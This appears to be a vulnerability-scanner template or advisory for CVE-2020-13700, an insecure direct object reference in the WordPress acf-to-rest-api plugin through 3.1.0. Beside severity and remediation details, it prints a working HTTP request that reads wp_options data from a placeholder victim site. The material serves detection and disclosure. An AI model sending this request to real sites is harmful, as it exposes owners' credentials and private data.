| Title | WordPress acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to access sensitive data, such as user information or administrative credentials. |
| Remediation | Update the acf-to-rest-api plugin to version >3.1.0 or apply the latest security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93725 |
| CVE ID | CVE-2020-13700 |
| CWE ID | CWE-639 |
| Tags | cve cve2020 wordpress plugin acf_to_rest_api_project vuln |
WordPress acf-to-rest-ap through 3.1.0 allows an insecure direct object reference via permalinks manipulation, as demonstrated by a wp-json/acf/v3/options/ request that can read sensitive information in the wp_options table such as the login and pass values.
GET /wp-json/acf/v3/options/a?id=active&field=plugins HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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